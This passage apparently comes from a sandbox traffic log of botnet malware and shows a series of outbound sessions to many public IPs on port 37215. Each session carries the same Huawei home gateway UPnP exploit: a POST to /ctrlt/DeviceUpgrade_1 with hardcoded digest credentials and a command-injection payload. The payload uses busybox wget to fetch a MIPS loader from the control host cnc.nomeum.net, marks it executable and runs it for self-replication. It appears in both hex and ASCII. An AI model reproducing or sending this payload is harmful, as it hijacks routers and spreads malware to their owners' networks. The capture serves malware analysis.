6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.14	44712	156.123.218.251	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:16.264509916 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.14	56016	41.101.178.225	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:16.265249968 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.14	33156	197.128.126.224	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:16.265999079 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.14	39802	156.66.70.102	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:16.267524004 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.14	57956	197.195.63.25	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:16.268346071 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.14	35160	197.185.36.5	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:16.269639969 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.14	49484	41.25.131.133	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:16.271100044 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.14	35982	41.234.21.108	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:16.272546053 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.14	35636	197.149.118.43	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:16.274111986 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.14	50334	197.185.188.104	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:16.308685064 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l 